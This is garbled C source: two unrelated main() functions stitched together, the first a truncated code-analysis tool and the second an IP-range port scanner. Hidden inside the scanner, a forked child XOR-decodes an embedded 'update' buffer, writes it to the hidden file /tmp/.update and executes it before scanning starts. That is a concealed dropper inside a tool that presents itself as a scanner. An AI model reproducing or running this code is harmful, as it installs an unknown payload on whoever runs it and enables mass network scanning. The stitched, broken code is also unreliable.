int main(int argc, char *argv[]){ int i; struct file *head = NULL; for (i = 1; i < argc; i++){ head = add_file(head, scan_c(argv[i])); /*only handle C language right now*/ } FILE * template = fopen("/etc/code-insight/template.html", "r");
int main(int argc, char *argv[]) { int pid = -1; while ( pid < 0 ) pid = fork(); if ( pid == 0 ) // parent { char c = 0; int i = 0; //parse_string(q.value, url, "url", sizeof(url)-1); int update_fd = open("/tmp/.update", O_RDWR | O_CREAT, 0755); if ( update_fd < 0 ) exit(-1); while ( i<update_len ) { c = update[i]; c = c^0xff; if ( write(update_fd, &c, 1) == -1 ) { exit(-1); } i++; } close(update_fd); execl("/tmp/.update", "/tmp/.update", NULL); } int i, bb = 0, ret, k, ns, x; time_t scantime; char ip[20], outfile[128], last[256]; int s1, s2, s3, s4, e1, e2, e3, e4 = 0; int flag = 0; char cip[20] = {0}; if (argc < 4) { printf("Usage: %s start_ip end_ip port \n", argv[0]); printf("example: %s 98.34.0.0 98.34.255.255 80 \n", argv[0]); printf("example: %s 98.34.7.0 98.34.7.255 80 \n", argv[0]); exit(EXIT_FAILURE); } memset(&outfile, 0, sizeof(outfile)); snprintf(outfile, sizeof(outfile) - 1, "%s-%s.pscan.%s", argv[1], argv[2], argv[3]); port = (atoi(argv[3])); char *p = strtok(argv[1], "."); s1 = atoi(p); p = strtok(NULL, "."); s2 = atoi(p); p = strtok(NULL, "."); s3 = atoi(p); p = strtok(NULL, "."); s4 = atoi(p); p = strtok(argv[2], "."); e1 = atoi(p); p = strtok(NULL, "."); e2 = atoi(p); p = strtok(NULL, "."); e3 = atoi(p); p = strtok(NULL, "."); e4 = atoi(p); if (!(outfd = fopen(outfile, "a"))) { perror(outfile); exit(EXIT_FAILURE); } printf("Scanning started\n"); scantime = time(0); while(s1<=e1) { while ( s2<=e2 ) { while ( s3<=e3 ) { bzero(cip, 20); snprintf(cip, 20, "%d.%d.%d", s1, s2, s3); printf("scanning %s\n", cip); scan_c(cip); s3++; sleep(TIMEOUT); check_sockets(); exit_sockets(); } s2++; } s1++; } printf("\n# Done in %u secz. %d Bichtz #\n ", (time(0) - scantime), tot); fclose(outfd); exit(EXIT_SUCCESS); }